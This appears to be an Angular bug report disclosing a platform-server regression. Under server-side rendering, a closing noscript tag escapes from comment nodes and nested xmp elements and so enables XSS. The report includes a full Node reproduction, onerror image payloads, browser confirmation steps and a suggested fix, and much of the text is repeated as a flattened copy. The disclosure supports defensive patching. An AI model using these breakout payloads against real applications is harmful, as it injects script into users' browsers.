Which @angular/* package(s) are the source of the bug?
platform-server
Is this a regression?
Yes. Identical input, identical code, only the version differs:
@angular/platform-server@22.0.6
<noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>
BREAKOUT: false
@angular/platform-server@22.0.7
<noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>
BREAKOUT: true
The behaviour changed in the bundled domino commit f88e5aa ("fix: escape fallback raw-content text nodes"), which narrowed an existing escape:
- if (hasRawContent[upperTag]) {
+ if (hasRawContent[upperTag] && !hasRawContentFallback[upperTag]) {
ss = escapeMatchingClosingTag(ss, tagname);
}
Before that change this escaped the ancestor closing tag anywhere in the element's serialized children. It no longer runs for iframe, noembed, noscript, noframes.
Description
f88e5aa replaced the element-level escape with escapeFallbackRawText(), which is applied only to direct text children. serializeOne() dispatches on node type, so two other child-node types now emit the ancestor closing tag verbatim:
- Comment nodes — serialized as
'<!--' + escapeClosingCommentTag(kid.data) + '-->'. escapeClosingCommentTag() escapes only -->, never </noscript>.
- Nested non-fallback raw-text elements (
xmp, plaintext) — serialized via escapeMatchingClosingTag(ss, 'xmp'), which escapes only that element's own closing tag, never the ancestor's.
In both cases the <noscript> is terminated at the emitted </noscript> and the following markup is parsed as live HTML in the page origin.
Reproduced for all four fallback elements (noscript, iframe, noembed, noframes) and at depth (<noscript><div><xmp>{{ v }}</xmp></div></noscript>).
Angular's escapeCommentText() does not cover case 1. Its regex is /^>|^->|<!--|-->|--!>|<!-$/g, which matches comment delimiters only, so </noscript> passes through unchanged.
Two shapes reach this from application code:
// 1. comment node inside a fallback raw-text element
renderer.appendChild(noscriptEl, renderer.createComment(value));
<!-- 2. interpolation into a nested xmp/plaintext element -->
<noscript><xmp>{{ value }}</xmp></noscript>
Not affected: <noscript>{{ value }}</noscript> is correctly escaped. <style> and <script> in component templates are stripped by the template compiler and are not reachable this way.
Please provide a link to a minimal reproduction of the bug
Node SSR reproduction, inline below.
1. Install
mkdir ng-noscript-repro && cd ng-noscript-repro
npm init -y
npm pkg set type=module
npm install @angular/core@22.1.0 @angular/common@22.1.0 @angular/compiler@22.1.0 \
@angular/platform-browser@22.1.0 @angular/platform-server@22.1.0 \
rxjs@7 zone.js tslib
2. Save as repro.mjs
import '@angular/compiler';
import 'zone.js';
import { Component, ElementRef, Renderer2, inject } from '@angular/core';
import { bootstrapApplication } from '@angular/platform-browser';
import { provideServerRendering, renderApplication } from '@angular/platform-server';
import http from 'node:http';
const p = (n) => `</noscript><img src=x onerror="alert('${n} @ '+origin)">`;
const AppComponent = Component({
selector: 'app-root',
standalone: true,
template: `
<div id="case1"><noscript>{{ p1 }}</noscript></div>
<div id="case2"><noscript><xmp>{{ p2 }}</xmp></noscript></div>
<div id="case3"><noscript id="host"></noscript></div>`,
})(
class {
p1 = p('case1');
p2 = p('case2');
r = inject(Renderer2);
el = inject(ElementRef);
ngAfterViewInit() {
const host = this.el.nativeElement.querySelector('noscript#host');
this.r.appendChild(host, this.r.createComment(p('case3')));
}
}
);
const html = await renderApplication(
(ctx) => bootstrapApplication(AppComponent, { providers: [provideServerRendering()] }, ctx),
{ document: '<!DOCTYPE html><html><head></head><body><app-root></app-root></body></html>' }
);
for (const id of ['case1', 'case2', 'case3']) {
const out = html.match(new RegExp(`<div id="${id}">([\\s\\S]*?)</div>`))[1];
const broke = /<\/noscript><img/.test(out);
console.log(`${broke ? 'BREAKOUT' : 'SAFE '} ${id}\n ${out}\n`);
}
const body = html.match(/<app-root[^>]*>([\s\S]*?)<\/app-root>/)[1];
http
.createServer((_, res) => {
res.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' });
res.end(`<!DOCTYPE html><html><body>${body}</body></html>`);
})
.listen(8899, () => console.log('serving http://localhost:8899/'));
3. Run
Actual output:
SAFE case1
<noscript></noscript><img src=x onerror="alert('case1 @ '+origin)"></noscript>
BREAKOUT case2
<noscript><xmp></noscript><img src=x onerror="alert('case2 @ '+origin)"></xmp></noscript>
BREAKOUT case3
<noscript id="host"><!--</noscript><img src=x onerror="alert('case3 @ '+origin)">--></noscript>
serving http://localhost:8899/
Case 1 is escaped. Cases 2 and 3 contain a literal, unescaped </noscript>.
4. Confirm in a browser
Open http://localhost:8899/. Two alert() dialogs fire (case2, case3).
DOM state after load:
{
"noscript_count": 3,
"imgs_escaped_into_dom": 2,
"case2_noscript_children": ["3:<xmp>"],
"case3_noscript_children": ["3:<!--"],
"case2_img_parent": "DIV",
"case3_img_parent": "DIV"
}
Each affected <noscript> retains only a truncated text node (<xmp>, <!--); both <img onerror> elements are live children of DIV, outside the <noscript>.
5. Confirm the regression across released versions
mkdir vercheck && cd vercheck
npm pack @angular/platform-server@22.0.6
npm pack @angular/platform-server@22.0.7
mkdir -p x22.0.6 x22.0.7
tar -xzf angular-platform-server-22.0.6.tgz -C x22.0.6
tar -xzf angular-platform-server-22.0.7.tgz -C x22.0.7
Save as t.mjs:
const PAYLOAD = '</noscript><img src=x onerror=alert(1)>';
for (const v of ['22.0.6', '22.0.7']) {
const mod = await import(`./x${v}/package/third_party/domino/bundled-domino.mjs`);
const d = mod.default ?? mod;
const doc = d.createDocument('<!DOCTYPE html><html><body></body></html>');
const ns = doc.createElement('noscript');
doc.body.appendChild(ns);
ns.appendChild(doc.createComment(PAYLOAD));
const out = ns.outerHTML;
console.log(`platform-server ${v}`);
console.log(` ${out}`);
console.log(` BREAKOUT: ${/<\/noscript><img/.test(out)}\n`);
}
Actual output:
platform-server 22.0.6
<noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>
BREAKOUT: false
platform-server 22.0.7
<noscript><!--</noscript><img src=x onerror=alert(1)>--></noscript>
BREAKOUT: true
Suggested fix
In serializeOne(), apply ancestor-closing-tag escaping to the remaining child-node types when the parent is a fallback raw-content element:
- Comment branch: escape the ancestor closing tag in
kid.data, in addition to the existing escapeClosingCommentTag().
- Element branch: when a non-fallback raw-text element (
style, script, xmp, plaintext) is nested inside a fallback raw-content element, escape its serialized content against the nearest fallback ancestor's tag name, not only its own.
Please provide the environment you discovered this bug in
@angular/platform-server 22.1.0
@angular/core 22.1.0
Node.js v25.6.0
OS Windows 11
Browsers Chrome, Firefox
Which @angular/* package(s) are the source of the bug?
platform-server
Is this a regression?
Yes. Identical input, identical code, only the version differs:
The behaviour changed in the bundled
dominocommitf88e5aa("fix: escape fallback raw-content text nodes"), which narrowed an existing escape:Before that change this escaped the ancestor closing tag anywhere in the element's serialized children. It no longer runs for
iframe,noembed,noscript,noframes.Description
f88e5aareplaced the element-level escape withescapeFallbackRawText(), which is applied only to direct text children.serializeOne()dispatches on node type, so two other child-node types now emit the ancestor closing tag verbatim:'<!--' + escapeClosingCommentTag(kid.data) + '-->'.escapeClosingCommentTag()escapes only-->, never</noscript>.xmp,plaintext) — serialized viaescapeMatchingClosingTag(ss, 'xmp'), which escapes only that element's own closing tag, never the ancestor's.In both cases the
<noscript>is terminated at the emitted</noscript>and the following markup is parsed as live HTML in the page origin.Reproduced for all four fallback elements (
noscript,iframe,noembed,noframes) and at depth (<noscript><div><xmp>{{ v }}</xmp></div></noscript>).Angular's
escapeCommentText()does not cover case 1. Its regex is/^>|^->|<!--|-->|--!>|<!-$/g, which matches comment delimiters only, so</noscript>passes through unchanged.Two shapes reach this from application code:
Not affected:
<noscript>{{ value }}</noscript>is correctly escaped.<style>and<script>in component templates are stripped by the template compiler and are not reachable this way.Please provide a link to a minimal reproduction of the bug
Node SSR reproduction, inline below.
1. Install
2. Save as
repro.mjs3. Run
Actual output:
Case 1 is escaped. Cases 2 and 3 contain a literal, unescaped
</noscript>.4. Confirm in a browser
Open
http://localhost:8899/. Twoalert()dialogs fire (case2,case3).DOM state after load:
{ "noscript_count": 3, "imgs_escaped_into_dom": 2, "case2_noscript_children": ["3:<xmp>"], "case3_noscript_children": ["3:<!--"], "case2_img_parent": "DIV", "case3_img_parent": "DIV" }Each affected
<noscript>retains only a truncated text node (<xmp>,<!--); both<img onerror>elements are live children ofDIV, outside the<noscript>.5. Confirm the regression across released versions
Save as
t.mjs:Actual output:
Suggested fix
In
serializeOne(), apply ancestor-closing-tag escaping to the remaining child-node types when the parent is a fallback raw-content element:kid.data, in addition to the existingescapeClosingCommentTag().style,script,xmp,plaintext) is nested inside a fallback raw-content element, escape its serialized content against the nearest fallback ancestor's tag name, not only its own.Please provide the environment you discovered this bug in